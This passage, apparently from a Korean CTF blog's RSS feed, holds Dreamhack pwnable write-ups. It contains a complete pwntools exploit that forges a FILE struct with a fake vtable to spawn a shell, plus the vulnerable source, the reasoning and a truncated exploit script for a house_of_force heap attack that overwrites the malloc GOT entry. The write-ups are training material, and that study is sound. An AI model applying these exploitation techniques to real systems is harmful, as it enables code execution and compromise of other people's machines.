<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="cl"><span class="n">context</span><span class="o">.</span><span class="n">update</span><span class="p">(</span><span class="n">arch</span><span class="o">=</span><span class="s1">&#39;amd64&#39;</span><span class="p">,</span> <span class="n">os</span><span class="o">=</span><span class="s1">&#39;linux&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1">#context.log_level = &#39;debug&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#p = remote(&#34;host3.dreamhack.games&#34;, 10039);</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="s2">&#34;./iofile_vtable_check&#34;</span><span class="p">,</span> <span class="n">env</span><span class="o">=</span><span class="p">{</span><span class="s1">&#39;LD_PRELOAD&#39;</span><span class="p">:</span><span class="s1">&#39;./libc.so.6&#39;</span><span class="p">})</span>
</span></span><span class="line"><span class="cl"><span class="c1">#p = process(&#34;./master_canary&#34;)</span>
</span></span><span class="line"><span class="cl"><span class="n">elf</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s2">&#34;./iofile_vtable_check&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">libc</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s2">&#34;./libc.so.6&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;stdout: &#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">stdout</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">)[:</span><span class="o">-</span><span class="mi">1</span><span class="p">],</span> <span class="mi">16</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">libc_base</span> <span class="o">=</span> <span class="n">stdout</span><span class="o">-</span><span class="n">libc</span><span class="o">.</span><span class="n">sym</span><span class="p">[</span><span class="s1">&#39;_IO_2_1_stdout_&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">system</span> <span class="o">=</span> <span class="n">libc_base</span><span class="o">+</span><span class="n">libc</span><span class="o">.</span><span class="n">sym</span><span class="p">[</span><span class="s1">&#39;system&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">fp</span> <span class="o">=</span> <span class="n">elf</span><span class="o">.</span><span class="n">sym</span><span class="p">[</span><span class="s1">&#39;fp&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">binsh</span> <span class="o">=</span> <span class="n">libc_base</span><span class="o">+</span><span class="nb">list</span><span class="p">(</span><span class="n">libc</span><span class="o">.</span><span class="n">search</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;/bin/sh&#34;</span><span class="p">))[</span><span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">fake_vtable</span> <span class="o">=</span> <span class="n">libc_base</span> <span class="o">+</span> <span class="n">libc</span><span class="o">.</span><span class="n">sym</span><span class="p">[</span><span class="s1">&#39;_IO_file_jumps&#39;</span><span class="p">]</span><span class="o">+</span><span class="mh">0xc0</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;stdout : </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">stdout</span><span class="p">)</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;libc_base : </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">libc_base</span><span class="p">)</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;system : </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">system</span><span class="p">)</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;fp : </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">fp</span><span class="p">)</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;binsh : </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">binsh</span><span class="p">)</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;fake vtable : </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">fake_vtable</span><span class="p">)</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">pause</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x0</span><span class="p">)</span> <span class="c1"># flags</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x0</span><span class="p">)</span> <span class="c1"># _IO_read_ptr</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x0</span><span class="p">)</span> <span class="c1"># _IO_read_end</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x0</span><span class="p">)</span> <span class="c1"># _IO_read_base</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x0</span><span class="p">)</span> <span class="c1"># _IO_write_base</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="c1"># _IO_write_ptr</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x0</span><span class="p">)</span> <span class="c1"># _IO_write_end</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">binsh</span><span class="p">)</span> <span class="c1"># _IO_buf_base</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="c1"># _IO_buf_end</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x0</span><span class="p">)</span> <span class="c1"># _IO_save_base</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x0</span><span class="p">)</span> <span class="c1"># _IO_backup_base</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x0</span><span class="p">)</span> <span class="c1"># _IO_save_end</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x0</span><span class="p">)</span> <span class="c1"># _IO_marker</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x0</span><span class="p">)</span> <span class="c1"># _IO_chain</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x0</span><span class="p">)</span> <span class="c1"># _fileno</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x0</span><span class="p">)</span> <span class="c1"># _old_offset</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">fp</span> <span class="o">+</span> <span class="mh">0x80</span><span class="p">)</span> <span class="c1"># _lock </span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x0</span><span class="p">)</span><span class="o">*</span><span class="mi">9</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">fake_vtable</span><span class="p">)</span> <span class="c1"># io_file_jump overwrite </span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">system</span><span class="p">)</span> 
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;Data: &#34;</span><span class="p">,</span> <span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span>
</span></span></code></pre></div>]]></content:encoded></item><item><title>[Dreamhack] PWN house_of_force</title><link>https://dig06161.github.io/2023/03/13/dreamhack-pwn-house_of_force/</link><pubDate>Mon, 13 Mar 2023 14:00:00 +0900</pubDate><guid>https://dig06161.github.io/2023/03/13/dreamhack-pwn-house_of_force/</guid><description>드림핵 포너블 house_of_force 문제풀이</description><content:encoded><![CDATA[<p>이번 문제는 house_of_force 취약점에 대한 문제이다. 이 기법은 top chunk의 사이즈를 조작하여 임의 주소에 힙 청크를 할당 할 수 있는 공격이다.</p>
<p>우선 바이너리 소스코드를 먼저 살펴보자.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c++" data-lang="c++"><span class="line"><span class="cl"><span class="c1">// gcc -o force force.c -m32 -mpreferred-stack-boundary=2
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;signal.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="o">*</span><span class="n">ptr</span><span class="p">[</span><span class="mi">10</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">alarm_handler</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">puts</span><span class="p">(</span><span class="s">&#34;TIME OUT&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">initialize</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">setvbuf</span><span class="p">(</span><span class="n">stdin</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">_IONBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">setvbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">_IONBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">signal</span><span class="p">(</span><span class="n">SIGALRM</span><span class="p">,</span> <span class="n">alarm_handler</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">alarm</span><span class="p">(</span><span class="mi">60</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">create</span><span class="p">(</span><span class="kt">int</span> <span class="n">cnt</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="kt">int</span> <span class="n">size</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="k">if</span><span class="p">(</span> <span class="n">cnt</span> <span class="o">&gt;</span> <span class="mi">10</span> <span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="n">printf</span><span class="p">(</span><span class="s">&#34;Size: &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="n">scanf</span><span class="p">(</span><span class="s">&#34;%d&#34;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">size</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="n">ptr</span><span class="p">[</span><span class="n">cnt</span><span class="p">]</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="n">size</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">ptr</span><span class="p">[</span><span class="n">cnt</span><span class="p">])</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="n">printf</span><span class="p">(</span><span class="s">&#34;Data: &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">ptr</span><span class="p">[</span><span class="n">cnt</span><span class="p">],</span> <span class="n">size</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="n">printf</span><span class="p">(</span><span class="s">&#34;%p: %s</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">ptr</span><span class="p">[</span><span class="n">cnt</span><span class="p">],</span> <span class="n">ptr</span><span class="p">[</span><span class="n">cnt</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">write_ptr</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="kt">int</span> <span class="n">idx</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="kt">int</span> <span class="n">w_idx</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">value</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="n">printf</span><span class="p">(</span><span class="s">&#34;ptr idx: &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="n">scanf</span><span class="p">(</span><span class="s">&#34;%d&#34;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">idx</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="k">if</span><span class="p">(</span><span class="n">idx</span> <span class="o">&gt;</span> <span class="mi">10</span> <span class="o">||</span> <span class="n">idx</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span> 
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="n">printf</span><span class="p">(</span><span class="s">&#34;write idx: &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="n">scanf</span><span class="p">(</span><span class="s">&#34;%d&#34;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">w_idx</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="k">if</span><span class="p">(</span><span class="n">w_idx</span> <span class="o">&gt;</span> <span class="mi">100</span> <span class="o">||</span> <span class="n">w_idx</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl">	<span class="n">printf</span><span class="p">(</span><span class="s">&#34;value: &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="n">scanf</span><span class="p">(</span><span class="s">&#34;%u&#34;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">value</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="n">ptr</span><span class="p">[</span><span class="n">idx</span><span class="p">][</span><span class="n">w_idx</span><span class="p">]</span> <span class="o">=</span> <span class="n">value</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">get_shell</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="n">system</span><span class="p">(</span><span class="s">&#34;/bin/sh&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="kt">int</span> <span class="n">idx</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="kt">int</span> <span class="n">cnt</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="kt">int</span> <span class="n">w_cnt</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="n">initialize</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="k">while</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="n">printf</span><span class="p">(</span><span class="s">&#34;1. Create</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">		<span class="n">printf</span><span class="p">(</span><span class="s">&#34;2. Write</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">		<span class="n">printf</span><span class="p">(</span><span class="s">&#34;3. Exit</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">		<span class="n">printf</span><span class="p">(</span><span class="s">&#34;&gt; &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">		<span class="n">scanf</span><span class="p">(</span><span class="s">&#34;%d&#34;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">idx</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">		<span class="k">switch</span><span class="p">(</span><span class="n">idx</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">			<span class="k">case</span> <span class="mi">1</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">				<span class="n">create</span><span class="p">(</span><span class="n">cnt</span><span class="o">++</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">				<span class="n">cnt</span><span class="o">++</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">				<span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">			<span class="k">case</span> <span class="mi">2</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">				<span class="k">if</span><span class="p">(</span><span class="n">w_cnt</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">					<span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">				<span class="p">}</span>
</span></span><span class="line"><span class="cl">				<span class="n">write_ptr</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">				<span class="n">w_cnt</span><span class="o">++</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">				<span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">			<span class="k">case</span> <span class="mi">3</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">				<span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">			<span class="k">default</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">				<span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">		<span class="p">}</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>시나리오를 생각해보자.</p>
<p>우선 top chunk 주소를 알아낼 필요가 있다. 따라서 1번 메뉴를 통해 특정 사이즈 만큼의 청크를 생성하고 출력되는 주소값과 top chunk의 오프셋을 계산해 top chunk주소를 구한다.</p>
<p>이후 2번 메뉴를 통해 top chunk 크기를 0xffffffff로 덮어버린다. 배열 사이즈를 검증하지 않으므로 원하는 지점에 값을 덮을 수 있다. 그러면 탑 청크 크기만큼 청크를 할당 할 수 있으므로 원하는 주소의 값을 오버라이트 할 수 있다.</p>
<p>나는 malloc 함수 주소에 get_shell 함수 주소를 입력 하려고 한다. malloc got 주소에서 top chunk주소를 빼고 0x8를 뻰 값으로 페이로드를 구성한다. 0x8을 빼는 이유는 heap chunk가 구성될때 32비트 기준 8바이트를 헤더로 사용하기 때문에 오버라이트 하고자 하는 부분이 heap의 데이터 영역이 되게 하기 위함이다.</p>
<p>이후에 할당되는 부분은 malloc got의 주소에 값이 할당 될 것이며, 여기에는 get_shell 주소가 들어갈 것이다.</p>
<p>이후 malloc을 호출하면 쉘을 획득할 수 있다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="cl"><span class="n">context</span><span class="o">.</span><span class="n">update</span><span class="p">(</span><span class="n">arch</span><span class="o">=</span><span class="s1">&#39;amd64&#39;</span><span class="p">,</span> <span class="n">os</span><span class="o">=</span><span class="s1">&#39;linux&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1">#context.log_level = &#39;debug&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#p = remote(&#34;host3.dreamhack.games&#34;, 24517);</span>
</span></span><span class="line"><span class="cl"><span class="c1">#p = process(&#34;./oneshot&#34;, env={&#39;LD_PRELOAD&#39;:&#39;./libc.so.6&#39;})</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="s2">&#34;./house_of_force&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">elf</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s2">&#34;./house_of_force&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1">#elf=ELF(&#39;./iofile_aw&#39;)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">get_shell</span> <span class="o">=</span> <span class="mh">0x0804887e</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;&gt; &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;1&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;Size: &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;17&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;Data: &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;AAAA&#34;</span><span class="o">*</span><span class="mi">4</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">leak_chunk</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;AAAA&#34;</span><span class="p">)[:</span><span class="o">-</span><span class="mi">6</span><span class="p">],</span> <span class="mi">16</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">top_chunk</span> <span class="o">=</span> <span class="n">leak_chunk</span><span class="o">+</span><span class="mi">20</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;leak chunk : </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">leak_chunk</span><span class="p">)</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;top chunk size ptr : </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">top_chunk</span><span class="p">)</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;&gt; &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;2&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;ptr idx: &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;0&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;write idx: &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;5&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;value: &#34;</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="mh">0xffffffff</span><span class="p">)))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">target</span> <span class="o">=</span> <span class="n">elf</span><span class="o">.</span><span class="n">got</span><span class="p">[</span><span class="s1">&#39;malloc&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">=</span> <span class="n">target</span><span class="o">-</span><span class="mh">0x8</span><span class="o">-</span><span class="n">top_chunk</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;print - payload : </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;print - &#34;</span><span class="o">+</span><span class="p">(</span><span class="s2">&#34;A&#34;</span><span class="o">*</span><span class="n">payload</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
